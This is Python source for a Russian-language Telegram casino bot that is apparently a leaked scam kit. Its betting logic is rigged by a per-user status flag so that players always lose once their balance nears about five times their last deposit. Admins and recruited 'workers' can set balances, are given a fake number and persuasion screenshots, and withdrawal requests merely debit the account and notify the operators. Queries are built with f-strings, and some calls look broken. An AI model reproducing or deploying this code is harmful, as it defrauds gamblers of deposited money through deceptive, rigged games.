def vivod_money_1(message): con = sqlite3.connect("dannie_2.db") cur = con.cursor() cur.execute(f"SELECT balance FROM users WHERE id = {message.chat.id}") balance = cur.fetchone()[0] if message.text.isdigit() and balance >= int(message.text): vivod_money = int(message.text) bot.send_message( message.from_user.id, "Выберите систему вывода из предложенных! \n\n" "1)Банковская карта\n" "2)Киви Кошелек\n" "3)Яндекс Деньги\n" "4)WebMoney\n" "5)Bitcoin\n\n" "Для выбора отправьте цифру, под которой указана нужная Вам система.", reply_markup=keyboard_chifri()) bot.register_next_step_handler(message, vivod_money_2, vivod_money) elif message.text == "Назад": bot.send_message(message.from_user.id, "🔙 Вы вернулись в главное меню", reply_markup=keyboard_osnova()) else: bot.send_message(message.from_user.id, "Упс, что-то пошло не так :(")
def play_casino_2(message): con = sqlite3.connect("dannie_2.db") cur = con.cursor() balance = get_balance(message) if message.text == "Закончить игру": bot.send_message(message.from_user.id, "😔 Очень жаль, что Вы так мало решили поиграть 😔", reply_markup=keyboard_osnova()) from casino_bot import get_text_message bot.register_next_step_handler(message, get_text_message) elif message.text.isdigit() and int(message.text) >= 0 and balance >= int( message.text): stavka = int(message.text) bot.send_message( message.from_user.id, "Сейчас выпадет рандомное число от 1 до 99\n\nВыберите исход события\n\n< 50 - x2\n= 50 - x10\n> 50 - x2", reply_markup=bet()) bot.register_next_step_handler(message, play_casino_3, stavka) else: bot.send_message(message.from_user.id, "На Вашем счету недостаточно средств") play_casino(message)
def vivod_money_2(message, vivod_money): sposop = message.text bot.send_message( message.from_user.id, "💵Введите реквизиты кошелька для вывода средств!💵 \n\n⚠Вывод возможен только на реквизиты, с которых пополнялся Ваш баланс в последний раз!⚠", reply_markup=keyboard_vivod()) bot.register_next_step_handler(message, vivod_money_3, vivod_money, sposop)
def chan_status(message): try: id = int(message.text) bot.send_message(message.from_user.id, "Введите, какой статус сделать человеку (0 - Премиум, 1 - Азарт) * Лучше вообще не трогать") bot.register_next_step_handler(message, chan_status_2, id) except: bot.send_message(message.from_user.id, "Вы вернулись в меню админа", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin)
def chan_status_2(message, id): con = sqlite3.connect("dannie_2.db") cur = con.cursor() try: status = int(message.text) id = id if status == 0 or status == 1 or status == 2: try: cur.execute(f"UPDATE users SET status = {status} WHERE id = {id}") con.commit() bot.send_message(message.from_user.id, "Статус успешно изменен", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) except: bot.send_message(message.from_user.id, "Вы вернулись в меню админа", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) else: bot.send_message(message.from_user.id, "Такой статус невозможно сделать", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) except: bot.send_message(message.from_user.id, "Вы вернулись в меню админа", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin)
def ins_workers(message): con = sqlite3.connect("dannie_2.db") cur = con.cursor() try: id = int(message.text) cur.execute(f"INSERT INTO workers (id) VALUES (\"{id}\")") con.commit() bot.send_message(message.from_user.id, "Воркер успешно добавлен", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) except: bot.send_message(message.from_user.id, "Вы вернулись в меню админа", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin)
def del_workers(message): con = sqlite3.connect("dannie_2.db") cur = con.cursor() try: id = int(message.text) cur.execute(f"DELETE FROM workers WHERE id = {id}") con.commit() bot.send_message(message.from_user.id, "Воркер успешно удален", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) except: bot.send_message(message.from_user.id, "Вы вернулись в меню админа", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin)
def worker_zp_3(message, vivod_money, sposob): con = sqlite3.connect("dannie_2.db") cur = con.cursor() sposob = sposob if sposob == 1: sposob = "Банковская карта" elif sposob == 2: sposob = "Киви Кошелек" elif sposob == 3: sposob = "Яндекс Деньги" elif sposob == 4: sposob = "WebMoney" elif sposob == 5: sposob = "Bitcoin" akkaunt_user = message.chat.id number = message.text cur.execute(f"SELECT ref_balance FROM users WHERE id = {message.chat.id}") ref_balance = cur.fetchone()[0] ref_balance = ref_balance - int(vivod_money) cur.execute( f"UPDATE users SET ref_balance = {ref_balance} WHERE id = {message.chat.id}" ) con.commit() bot.send_message( message.from_user.id, "Ваша заявка на вывод была успешно создана! Вывод средств занимает от 2 до 60 минут. \nОжидайте!" ) bot.send_message( admin_1, f"Пользователь: {akkaunt_user}\n" f"Реквизиты: {sposob}\n" f"Номер счета: {number}\n" f"Сумма: {vivod_money}\n") bot.send_message( admin_2, f"Пользователь: {akkaunt_user}\n" f"Реквизиты: {sposob}\n" f"Номер счета: {number}\n" f"Сумма: {vivod_money}\n") from casino_bot import get_text_message_worker bot.register_next_step_handler(message, get_text_message_worker)
def admin_rassilka2(message, rassilka): con = sqlite3.connect("dannie_2.db") cur = con.cursor() if message.text == "Да": bot.send_message(message.from_user.id, "Рассылка началась", reply_markup=keyboard_admin()) cur.execute("SELECT id FROM users") id = cur.fetchall() for id in id: for id in id: try: bot.send_message(id, f"{rassilka}") time.sleep(1) except: pass from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) else: bot.send_message(message.from_user.id, "Рассылка отменена", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin)
def get_text_message_worker(message): con = sqlite3.connect("dannie_2.db") cur = con.cursor() balance = get_balance(message) referals = get_referals(message) ref_balance = get_ref_balance(message) ref_link = get_ref_link(message) inf_profil = get_inf_profil(balance, referals, ref_balance, ref_link) if message.text == "Изменить баланс": cur.execute("SELECT id, name, balance FROM users") id = cur.fetchall() for id in id: bot.send_message(message.from_user.id, f"{id}") time.sleep(1) bot.send_message(message.from_user.id, "Введите id человека, которому Вы хотите изменить баланс", reply_markup=nazad_worker()) bot.register_next_step_handler(message, chan_balance) elif message.text == "Вывести средства": bot.send_message(message.from_user.id, f"{inf_profil}") bot.send_message(message.from_user.id, "💵 Введите сумму для вывода 💵 \n\n❗Выводы принимаются только от 500 рублей❗") bot.register_next_step_handler(message, worker_zp) elif message.text == "Информация": bot.send_message(message.from_user.id, f"Фейковый номер: {fake_number}\n\n" f"Как пользоваться ботом: [ССЫЛКА](https://tgraph.io/Kak-polzovatsya-botom-08-03)\n\n" f"Мануал для работы: [ССЫЛКА](https://tgraph.io/Manual-dlya-raboty-08-03)\n\n" f"Скрины для убедительности Слито на @Oblako_sxem : ССЫЛКА", parse_mode='Markdown') bot.register_next_step_handler(message, get_text_message_worker) elif message.text == "Выйти": bot.send_message(message.from_user.id, "Вы покинули меню воркера", reply_markup=keyboard_osnova())
def answer(call): chat_id = call.message.chat.id try: if (call.data == 'PROMOCODE'): message = bot.send_message(chat_id, f'💁🏻♀️ Введите *промокод*', parse_mode="Markdown") bot.register_next_step_handler(message, enter_promo) elif (call.data == "CLEAR"): clear_stats(call) elif (call.data == "DEPOSIT"): message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* пополнения (от 250 ₽ до 5000 ₽)', parse_mode="Markdown") bot.register_next_step_handler(message, deposit) elif (call.data == "STATUS"): Thread = threading.Thread(target=user_status_pay, args=(call, )) Thread.start() elif (call.data == "RECEIVE"): message = bot.send_message( chat_id, f'💁🏻♀️ Введите *свой* QIWI кошелек\nВо избежании мошенничества вывод разрешён только на те QIWI, с которых поступало пополнение!', parse_mode="Markdown") bot.register_next_step_handler(message, enter_receive) except: pass
def start_command(message): try: chat_id = message.chat.id code = message.text.split() if (not database.user_exists_casino(chat_id)): if (len(code) == 2): exists = database.worker_exists_code(code[1]) if (exists is not False): username = message.from_user.username database.user_add_casino(chat_id, username, code[1]) bot.send_message( chat_id, f"🙋🏻♀️ Добро пожаловать, *{message.from_user.first_name}*\nУ нас очень большой выбор вида игр, которые подойдут для каждого пользователя", parse_mode="Markdown", reply_markup=keyboard.casino_keyboard()) casino_config.notification_thread_ref( code[1], message.from_user.first_name, username) else: message = bot.send_message( chat_id, '⚠️ Напишите *правильный код-приглашение* пригласившего Вас человека', parse_mode="Markdown") bot.register_next_step_handler(message, user_invite_code) else: message = bot.send_message( chat_id, '💁🏻♀️ Для начала работы, *напишите код-приглашение* пригласившего Вас человека', parse_mode="Markdown") bot.register_next_step_handler(message, user_invite_code) else: if (database.user_invite_code(chat_id) == '0'): message = bot.send_message( chat_id, '💁🏻♀️ Для начала работы, *напишите код-приглашение* пригласившего Вас человека', parse_mode="Markdown") bot.register_next_step_handler(message, user_update_code) else: bot.send_message( chat_id, f"🙋🏻♀️ Добро пожаловать, *{message.from_user.first_name}*\nУ нас очень большой выбор вида игр, которые подойдут для каждого пользователя", parse_mode="Markdown", reply_markup=keyboard.casino_keyboard()) except: bot.send_message( chat_id, "⚠️ Ошибка при *регистрации* пользователя. Повторите попытку снова написав /start", parse_mode="Markdown")
def chan_balance_2(message, id): con = sqlite3.connect("dannie_2.db") cur = con.cursor() try: balance = int(message.text) id = id cur.execute(f"UPDATE users SET balance = {balance} WHERE id = {id}") con.commit() if message.chat.id == admin_1 or message.chat.id == admin_2: bot.send_message(message.from_user.id, "Баланс успешно изменен", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) else: bot.send_message(message.from_user.id, "Баланс успешно изменен", reply_markup=keyboard_worker()) from casino_bot import get_text_message_worker bot.register_next_step_handler(message, get_text_message_worker) except: if message.chat.id == admin_1 or message.chat.id == admin_2: bot.send_message(message.from_user.id, "Вы вернулись в меню админа", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) else: bot.send_message(message.from_user.id, "Вы вернулись в меню воркера", reply_markup=keyboard_worker()) from casino_bot import get_text_message_worker bot.register_next_step_handler(message, get_text_message_worker)
def chan_balance(message): try: id = int(message.text) bot.send_message(message.from_user.id, "Введите, какой баланс сделать человеку") bot.register_next_step_handler(message, chan_balance_2, id) except: if message.chat.id == admin_1 or message.chat.id == admin_2: bot.send_message(message.from_user.id, "Вы вернулись в меню админа", reply_markup=keyboard_admin()) from casino_bot import get_text_message_admin bot.register_next_step_handler(message, get_text_message_admin) else: bot.send_message(message.from_user.id, "Вы вернулись в меню воркера", reply_markup=keyboard_worker()) from casino_bot import get_text_message_worker bot.register_next_step_handler(message, get_text_message_worker)
def play_casino(message): balance = get_balance(message) bot.send_message(message.from_user.id, f"Введите сумму ставки \n\nВаш баланс: {balance}0₽", reply_markup=keyboard_nazad()) bot.register_next_step_handler(message, play_casino_2)
def play_casino_3(message, stavka): con = sqlite3.connect("dannie_2.db") cur = con.cursor() status = get_status(message) balance = get_balance(message) last_popolnenie = get_last_popolnenie(message) finish_popolnenie = last_popolnenie * 4.8 if status != 0 and finish_popolnenie <= balance: status = 3 cur.execute( f"UPDATE users SET status = {status} WHERE id = {message.chat.id}") con.commit() elif status == 3 and last_popolnenie * 4 >= balance: status = 2 cur.execute( f"UPDATE users SET status = {status} WHERE id = {message.chat.id}") con.commit() else: pass stavka = stavka bet = message.text status = get_status(message) if bet == "< 50": if status == 0: number = random.choice(range(1, 50)) if number < 50: bot.send_message(message.from_user.id, f"Вы выиграли! Выпало число {number}") balance = balance - stavka + stavka * 2 cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) elif status == 1: balances = balance - stavka + stavka * 2 if balances < (last_popolnenie * 4.9): number = random.choice(range(1, 56)) if number < 50: bot.send_message(message.from_user.id, f"Вы выиграли! Выпало число {number}") balance = balance - stavka + stavka * 2 cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: number = random.choice(range(50, 100)) bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) elif status == 2: balances = balance - stavka + stavka * 2 if balances < (last_popolnenie * 4.9): number = random.choice(range(20, 100)) if number < 50: bot.send_message(message.from_user.id, f"Вы выиграли! Выпало число {number}") balance = balance - stavka + stavka * 2 cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: number = random.choice(range(50, 100)) bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) elif status == 3: number = random.choice(range(50, 100)) bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) elif bet == "= 50": if status == 0: number = random.choice(range(50, 51)) if number == 50: bot.send_message(message.from_user.id, f"Вы выиграли! Выпало число {number}") balance = balance - stavka + stavka * 10 cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: number = random.choice(range(1, 99)) bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) elif status == 1: balances = balance - stavka + stavka * 10 if balances < (last_popolnenie * 4.9): number = random.choice(range(49, 51)) if number == 50: bot.send_message(message.from_user.id, f"Вы выиграли! Выпало число {number}") balance = balance - stavka + stavka * 10 cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: number = random.choice(range(1, 99)) bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: number = random.choice(range(1, 50)) or random.choice( range(51, 99)) bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) elif status == 2: balances = balance - stavka + stavka * 10 if balances < (last_popolnenie * 4.9): number = random.choice(range(40, 61)) if number == 50: bot.send_message(message.from_user.id, f"Вы выиграли! Выпало число {number}") balance = balance - stavka + stavka * 10 cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: number = random.choice(range(1, 99)) bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: number = random.choice(range(1, 50)) or random.choice( range(51, 99)) bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) elif status == 3: number = random.choice(range(1, 50)) or random.choice(range( 51, 99)) bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) elif bet == "> 50": if status == 0: number = random.choice(range(50, 100)) if number > 50: bot.send_message(message.from_user.id, f"Вы выиграли! Выпало число {number}") balance = balance - stavka + stavka * 2 cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) elif status == 1: balances = balance - stavka + stavka * 2 if balances < (last_popolnenie * 4.9): number = random.choice(range(45, 100)) if number > 50: bot.send_message(message.from_user.id, f"Вы выиграли! Выпало число {number}") balance = balance - stavka + stavka * 2 cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: number = random.choice(range(1, 50)) bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) elif status == 2: balances = balance - stavka + stavka * 2 if balances < (last_popolnenie * 4.9): number = random.choice(range(1, 81)) if number > 50: bot.send_message(message.from_user.id, f"Вы выиграли! Выпало число {number}") balance = balance - stavka + stavka * 2 cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) else: number = random.choice(range(1, 50)) bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) elif status == 3: number = random.choice(range(1, 50)) bot.send_message(message.from_user.id, f"Вы проиграли! Выпало число {number}") balance = balance - stavka cur.execute( f"UPDATE users SET balance = {balance} WHERE id = {message.chat.id}" ) con.commit() play_casino(message) elif bet == "Закончить игру": bot.send_message(message.from_user.id, "😔 Очень жаль, что Вы так мало решили поиграть 😔", reply_markup=keyboard_osnova()) from casino_bot import get_text_message bot.register_next_step_handler(message, get_text_message)
def get_text_message_admin(message): con = sqlite3.connect("dannie_2.db") cur = con.cursor() if message.text == "Сделать рассылку": bot.send_message(message.from_user.id, "Введите текст рассылки") bot.register_next_step_handler(message, admin_rassilka) elif message.text == "Изменить баланс": cur.execute("SELECT id, name, balance FROM users") id = cur.fetchall() for id in id: bot.send_message(message.from_user.id, f"{id}") time.sleep(1) bot.send_message(message.from_user.id, "Введите id человека, которому Вы хотите изменить баланс", reply_markup=nazad_admin()) bot.register_next_step_handler(message, chan_balance) elif message.text == "Изменить статус": cur.execute("SELECT id, name, status FROM users") id = cur.fetchall() for id in id: bot.send_message(message.from_user.id, f"{id}") time.sleep(1) bot.send_message(message.from_user.id, "Введите id человека, которому Вы хотите изменить статус", reply_markup=nazad_admin()) bot.register_next_step_handler(message, chan_status) elif message.text == "Добавить воркера": cur.execute("SELECT id, name FROM users") id = cur.fetchall() for id in id: bot.send_message(message.from_user.id, f"{id}") time.sleep(1) bot.send_message(message.from_user.id, "Введите id человека, которого Вы хотите сделать воркером", reply_markup=nazad_admin()) bot.register_next_step_handler(message, ins_workers) elif message.text == "Удалить воркера": cur.execute("SELECT id FROM workers") id = cur.fetchall() for id in id: bot.send_message(message.from_user.id, f"{id}") time.sleep(1) bot.send_message(message.from_user.id, "Введите id человека, которого Вы хотите удалить из воркеров", reply_markup=nazad_admin()) bot.register_next_step_handler(message, del_workers) elif message.text == "Информация": cur.execute("SELECT COUNT(1) FROM users") users = cur.fetchone() cur.execute("SELECT COUNT(1) FROM workers") workers = cur.fetchone() bot.send_message(message.from_user.id, f"Число пользователей: {users[0]}\n" f"Число воркеров: {workers[0]}\n" f"Фейковый номер: {fake_number}") bot.register_next_step_handler(message, get_text_message_admin) elif message.text == "Выйти": bot.send_message(message.from_user.id, "Вы покинули меню админа", reply_markup=keyboard_osnova())
def get_text_message(message): con = sqlite3.connect("dannie_2.db") cur = con.cursor() balance = get_balance(message) referals = get_referals(message) ref_balance = get_ref_balance(message) ref_link = get_ref_link(message) inf_profil = get_inf_profil(balance, referals, ref_balance, ref_link) cur.execute(f"select count(*) from workers where id = {message.chat.id}") if message.text == "Играть": bot.send_message(message.from_user.id, "Отправьте любое сообщение, чтобы продолжить") bot.register_next_step_handler(message, play_casino) elif message.text == "Пополнить": bot.send_message(message.from_user.id, "Выберите сумму пополнения", reply_markup=keyboard_balance_top_up_amount()) elif message.text == "Проверить оплату": user_id = message.chat.id bill_id = _get_user_bill_id(message.from_user.id) if bill_id is None: bot.send_message(user_id, "Вы не начинали оплату!") return bill_status = cashier.check_bill(bill_id) if bill_status.is_paid: money = bill_status.amount.value cur.execute(f"UPDATE users SET status = {1} WHERE id = {user_id}") con.commit() cur.execute(f"UPDATE users SET last_popolnenie = {money} WHERE id = {user_id}") con.commit() con.close() _top_up_balance(user_id, bill_status.amount.value) bot.send_message(admin_1, f"На Ваш Киви Кошелёк поступило пополнение!") bot.send_message(admin_2, f"На Ваш Киви Кошелёк поступило пополнение!") bot.send_message(user_id, f"Ваш баланс успешно пополненен и состаляет: " f"{_get_user_balance(user_id)}") _reset_bill_id(message.chat.id) else: bot.send_message(user_id, "Вы не оплатили счёт!❌") elif message.text == "Вывести": bot.send_message(message.from_user.id, f"{inf_profil}") bot.send_message(message.from_user.id, "Введите сумму для вывода", reply_markup=keyboard_vivod()) bot.register_next_step_handler(message, vivod_money_1) elif message.text == "Админ" and message.chat.id == admin_1 or message.chat.id == admin_2: bot.send_message(message.from_user.id, "Вы перешли в меню админа", reply_markup=keyboard_admin()) bot.register_next_step_handler(message, get_text_message_admin) elif message.text == "Воркер" and cur.fetchone()[0] != 0: bot.send_message(message.from_user.id, "Вы перешли в меню воркера", reply_markup=keyboard_worker()) bot.register_next_step_handler(message, get_text_message_worker) elif message.text == "Назад": bot.send_message(message.from_user.id, "🔙 Вы вернулись в главное меню", reply_markup=keyboard_osnova())
def admin_rassilka(message): rassilka = message.text bot.send_message(message.from_user.id, 'Запустить рассылку? Введите "Да", чтобы начать рассылку, либо же "Нет", чтобы отменить ее') bot.register_next_step_handler(message, admin_rassilka2, rassilka)
def worker_zp_2(message, vivod_money): sposop = int(message.text) bot.send_message(message.from_user.id, "💵Введите реквизиты кошелька для вывода средств!💵", reply_markup=keyboard_vivod()) bot.register_next_step_handler(message, worker_zp_3, vivod_money, sposop)
def get_text_messages(message): chat_id = message.chat.id config = configparser.ConfigParser() config.read("default.ini") status = config['Telegram'] try: if (status != '0'): if (message.text == "🤴 Личный кабинет"): balance = casino_config.repl_percent( database.user_balance(chat_id)) win = database.user_win(chat_id) lose = database.user_lose(chat_id) receive = database.user_receives(chat_id) payments = database.user_count_payments(chat_id) inline_keyboard = types.InlineKeyboardMarkup(row_width=2) inline_1 = types.InlineKeyboardButton(text="Пополнить", callback_data='DEPOSIT') inline_2 = types.InlineKeyboardButton(text="Вывести", callback_data='RECEIVE') inline_3 = types.InlineKeyboardButton( text="Промокод", callback_data='PROMOCODE') inline_4 = types.InlineKeyboardButton(text="Обнулить", callback_data='CLEAR') inline_keyboard.add(inline_1, inline_2, inline_3, inline_4) bot.send_message( chat_id, f'💸 Ваш *личный кабинет*\n\nБаланс: *{balance}* ₽\n\nИгр всего - *{win + lose}*\nИгр выиграно - *{win}*\nИгр проиграно - *{lose}*' + f'\n\nЗаявок на вывод - *{receive}*\nПополнений - *{payments}*', parse_mode="Markdown", reply_markup=inline_keyboard) elif (message.text == "⚙️ FAQ/Support"): bot.send_message( chat_id, f'💻 Техническая поддержка - @{str(casino_config.support)}\n\n📝Пользовательское соглашение: https://telegra.ph/Polzovatelskoe-soglashenie-01-18' ) elif (message.text == "🎰 Играть"): database.user_update_username( chat_id, casino_config.repl(message.from_user.username)) bot.send_message(chat_id, f'💁🏻♀️ Выберите *режим* игры', parse_mode="Markdown", reply_markup=keyboard.game_keyboard()) elif (message.text == "↩️ Назад"): bot.send_message(chat_id, f'💁🏻♀️ Вы вернулись в *главное* меню', parse_mode="Markdown", reply_markup=keyboard.casino_keyboard()) elif (message.text == "Random Number"): balance = casino_config.repl_percent( database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (message.text == "Dice"): balance = casino_config.repl_percent( database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (message.text == "Орел & Решка"): balance = casino_config.repl_percent( database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, coinflip) elif (message.text == "↩️ Назaд"): bot.send_message(chat_id, f'💁🏻♀️ Вы вернулись в *главное* меню', token, phone, parse_mode="Markdown", reply_markup=keyboard.casino_keyboard()) elif (message.text == 'Crash'): balance = casino_config.repl_percent( database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, crash) elif (message.text == "Остановить график"): crash_end(message) elif (message.text == "Помoшь"): bot.send_message( chat_id, f'💻 Техническая поддержка - @{str(casino_config.helps)}') elif (message.text == 'Завершить игру'): bot.send_message(chat_id, f'💁🏻♀️ Вы вернулись в *список* игр', parse_mode="Markdown", reply_markup=keyboard.game_keyboard()) else: bot.send_message(chat_id, '💁🏻♀️ Бот на *технических* работах', parse_mode="Markdown") except: pass